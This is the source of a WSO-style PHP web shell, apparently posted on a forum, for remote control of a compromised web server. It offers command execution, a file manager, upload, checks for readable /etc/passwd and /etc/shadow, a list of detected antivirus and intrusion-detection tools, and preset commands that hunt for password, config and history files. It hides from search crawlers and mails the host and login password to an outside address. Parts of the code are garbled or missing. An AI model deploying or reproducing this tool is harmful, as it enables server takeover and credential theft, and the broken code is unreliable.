Код PHP:<?php
//--------------Watching webshell!--------------
$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."
".$_POST['pass']; @mail('hard_linux@mail.ru', 'root', $tmp); // Edit or delete! }
//-----------------Password---------------------
$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin
$▘ = true;
$▜ = 'UTF-8';
$▚ = 'FilesMan';
$▙ = md5($_SERVER['HTTP_USER_AGENT']); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) { prototype
(md5($_SERVER['HTTP_HOST'])."key", $▙);}
if(empty($_POST['charset'])) $_POST['charset'] = $▜;
if (!isset($_POST['ne'])) { if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt
($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt
($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt
($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt
($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt
($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); }
if (PHP_VERSION_ID < 70000)
function stripslashes_array($array) {
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
/* (С) 11.2011 oRb */
if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛)) prototype
(md5($_SERVER['HTTP_HOST']), $▛); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛)) hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool
)$▘; function hardLogin() {
if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); }
}
die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>"); }
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode'); if(!$safe_mode)
$disable_functions = @ini_get('disable_functions'); if($os == 'win') {
}
if($cwd[strlen($cwd)-1] != '/') $cwd .= '/';
/* (С) 04.2015 Pirat */
function hardHeader() {
if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['▜'];
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."</title>
<style>
body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:#C3C3C3;}
table#toolsTbl {background-color: #060A10;}
span,h1,a {color:#fff !important;}
span {font-weight:bolder;}
h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}
a:hover {text-decoration:underline;}
.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
.bigarea {min-width:100%;max-width:100%;height:400px;}
input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
label {position:relative}
label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
form {margin:0px;}
#toolsTbl {text-align:center;}
#fak {background:none;}
#fak td {padding:5px 0 0 0;}
iframe {border:1px solid #060a10;}
.toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{background-color:#354252;}
.main td, th{vertical-align:middle;}
input[type='submit']{background-color:#2E6E9C;}
input[type='button']{background-color:#2E6E9C;}
input[type='submit']:hover{background-color:#56AD15;}
input[type='button']:hover{background-color:#56AD15;}
.l1 {background-color:#202832;}
pre {font:9pt Courier New;}
</style>
<script>
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); }
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$totalSpace = $totalSpace?$totalSpace:1;
$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
if(strpos('Linux', $kernel) !== false) else
$group = "?";
} else {
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']); for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g("FilesMan","";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = '';
foreach($charsets as $▟)
$opt_charsets .= '<option value="'.$▟.'" '.($_POST['charset']==$▟?'selected':'').'>'.$▟.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['▛'])) $m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th>[ <a href="#" onclick="g(''.$v.'',null,'','','')">'.$k.'</a> ]</th>';
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive) $drives .= '<a href="#" onclick="g('FilesMan',''.$drive.':/')">[ '.$drive.' ]</a> ';
}
/* (С) 08.2015 dmkcv */
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
'<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?
'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g('Php',null,null,'info')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize
($totalSpace).' <span>Free:</span> '.viewSize
($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor
($GLOBALS['cwd']).' <a href=# onclick="g('FilesMan',''.$GLOBALS['home_cwd'].'','','','')">[ home ]</a><br>'.$drives.'</td>'. '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'. '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
}
function hardFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?
" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>"; echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
<tr>
<td><form onsubmit="".( function_exists('actionFilesMan')?
"g(null,this.c.value,'');":'' )."return false;"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td> <td><form onsubmit="".(function_exists('actionFilesTools')?
"g('FilesTools',null,this.f.value);":'' )."return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td> </tr><tr>
<td><form onsubmit="".( function_exists('actionFilesMan')?
"g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td> <td><form onsubmit="".( function_exists('actionFilesTools')?
"g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td> </tr><tr>
<td><form onsubmit="".( function_exists('actionConsole')?
"g('Console',null,this.c.value);":'' )."return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td> <td><form method='post' ".( (!function_exists('actionFilesMan'))?
" onsubmit="return false;" ":'' )."ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMan'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=ne value=''>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?
$_POST['charset']:'') . "'> <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
</tr></table></div>
<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
</body></html>";
}
function ex($in) {
$▖ = '';
$▖ = "";
}else return "↳ Unable to execute command
";
return ($▖==''?"↳ Query did not return anything
":$▖);
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB'; else
return $s . ' B';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function viewPermsColor($f) {
return '<font color=#FF0000><b>'.perms
(@fileperms($f)).'</b></font>'; return '<font color=white><b>'.perms
(@fileperms($f)).'</b></font>'; else
return '<font color=#FFDB5F><b>'.perms
(@fileperms($f)).'</b></font>'; }
function hardScandir($dir) {
} else {
while (false !== ($filename = readdir($dh))) $files[] = $filename;
return $files;
}
}
function which($p) {
$path = ex('which ' . $p);
return $path;
return false;
}
function actionRC() {
if(!@$_POST['p1']) {
"VERSION" => VERSION,
"safemode" => @ini_get('safe_mode') );
} else {
}
}
function prototype($k, $v) {
$_COOKIE[$k] = $v;
}
function actionSecInfo() {
hardHeader();
echo '<h1>Server security information</h1><div class=content>';
function showSecParam($n, $v) {
if($v) {
echo '<span>' . $n . ': </span>';
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
showSecParam
('Server software', @getenv('SERVER_SOFTWARE')); showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
showSecParam
('Open base dir', @ini_get('open_basedir')); showSecParam
('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); showSecParam
('Safe mode include dir', @ini_get('safe_mode_include_dir')); showSecParam
('cURL support', function_exists('curl_version')?
'enabled':'no'); $temp[] = "MSSQL";
$temp[] = "PostgreSQL";
$temp[] = "Oracle";
showSecParam
('Supported databases', implode(', ', $temp)); echo '<br>';
if($GLOBALS['os'] == 'nix') {
showSecParam
('Readable /etc/passwd', @is_readable('/etc/passwd')?
"yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>":'no'); showSecParam
('Readable /etc/shadow', @is_readable('/etc/shadow')?
"yes <a href='#' onclick='g("FilesTools", "/etc/", "shadow")'>[view]</a>":'no'); if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo '<br>';
foreach ($userful as $▟)
if(which($▟))
$temp[] = $▟;
showSecParam
('Userful', implode(', ',$temp)); foreach ($danger as $▟)
if(which($▟))
$temp[] = $▟;
showSecParam
('Danger', implode(', ',$temp)); foreach ($downloaders as $▟)
if(which($▟))
$temp[] = $▟;
showSecParam
('Downloaders', implode(', ',$temp)); echo '<br/>';
showSecParam('HDD space', ex('df -h'));
}
} else {
showSecParam('OS Version',ex('ver'));
showSecParam
('Account Settings', iconv('CP866', 'UTF-8',ex
('net accounts'))); showSecParam
('User Accounts', iconv('CP866', 'UTF-8',ex
('net user'))); }
echo '</div>';
hardFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) ) if(@$_POST['p2']=='download') {
header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); header("Content-Type: " . $type); } else
header("Content-Type: application/octet-stream"); $fp = @fopen($_POST['p1'], "r"); if($fp) {
}
}
if( @$_POST['p2'] == 'mkfile' ) {
$fp = @fopen($_POST['p1'], 'w'); if($fp) {
$_POST['p2'] = "edit";
}
}
}
hardHeader();
echo '<h1>File tools</h1><div class=content>';
echo 'File not exists';
hardFooter();
return;
}
if(!$uid) {
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize
(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor
($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; if( empty($_POST['p2']) ) $_POST['p2'] = 'view';
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame'); else
$m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v)
echo '<a href=# onclick="g(null,null,'' . urlencode($_POST['p1']) . '',''.strtolower($v).'')">'.((strtolower($v)==@$_POST['p2'])?
'<b>[ '.$v.' ]</b>':$v).'</a> '; echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r'); if($fp) {
}
echo '</pre>';
break;
case 'highlight':
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) { $perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int
)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can't set permissions!<br><script>document.mf.p3.value="";</script>';
}
echo '<script>p3_="";</script><form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>'; break;
case 'edit':
echo 'File isn't writeable';
break;
}
if( !empty($_POST['p3']) ) { $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) {
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time); }
}
echo '<form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,'1'+this.text.value);return false;"><textarea name=text class=bigarea>'; $fp = @fopen($_POST['p1'], 'r'); if($fp) {
}
echo '</textarea><input type=submit value="submit"></form>';
break;
case 'hexdump':
$n = 0;
$h = array('00000000<br>','',''); for ($i=0; $i<$len; ++$i) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} $h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; break;
case 'rename':
if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can't rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); }
echo '<form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>'; break;
case 'touch':
if( !empty($_POST['p3']) ) { if($time) {
if(!touch($_POST['p1'],$time,$time)) echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
echo '<script>p3_="";</script><form onsubmit="g(null,null,'' . urlencode($_POST['p1']) . '',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>'; break;
/* (С) 12.2015 mitryz */
case 'frame':
if ($frameSrc[0] != '/')
$frameSrc = '/' . $frameSrc;
if ($frameSrc[strlen($frameSrc) - 1] != '/') $frameSrc = $frameSrc . '/';
echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
break;
}
echo '</div>';
hardFooter();
}
if($os == 'win')
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name "config*"",
"find config* files in current dir" => "find . -type f -name "config*"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) { prototype
(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); $_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1'])) prototype
(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); if(isset($_POST['ajax'])) { prototype
(md5($_SERVER['HTTP_HOST']).'ajax', true); echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex
($_POST['p1']),"
'